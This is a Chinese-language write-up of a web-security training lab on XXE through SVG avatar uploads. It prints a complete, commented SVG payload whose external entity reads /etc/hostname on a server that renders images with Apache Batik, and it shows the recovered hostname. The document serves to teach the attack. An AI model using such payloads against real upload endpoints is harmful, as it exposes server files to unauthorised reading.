# XXE La8 這題是利用 SVG 圖檔裡的 XXE 來偷機器 hostname。 簡單來說: 這個網站用 Apache Batik 處理上傳的 SVG 圖片,SVG 本質是 XML 格式,可以塞進 XXE payload,你塞的實體會讀取 `/etc/hostname` 檔案內容,當 SVG 被渲染時,文字裡會顯示出 hostname,像一張「畫有 hostname 的圖片」。 一樣進入網站。  在設定大頭貼的時候,把下面的 payload 存成 .svg 上傳: ```xml <?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> //定義了一個外部實體 xxe,它會去讀伺服器的 /etc/hostname 檔案,把內容當成文字放進來。 <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> //在 SVG 畫布上放一段文字,文字內容是 &xxe;,也就是 /etc/hostname 的檔案內容。 </svg> ```  - 把剛剛這個 SVG 檔案當作大頭貼(avatar)上傳 到 Lab 的留言系統。 - 伺服器用 Apache Batik 解析這張 SVG,觸發 XXE,讀出 /etc/hostname。 - 你刷新留言頁面時,看到的這張「圖」會直接顯示那個 hostname 字串,變成留言裡一段文字。  `698872564ec4`  ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up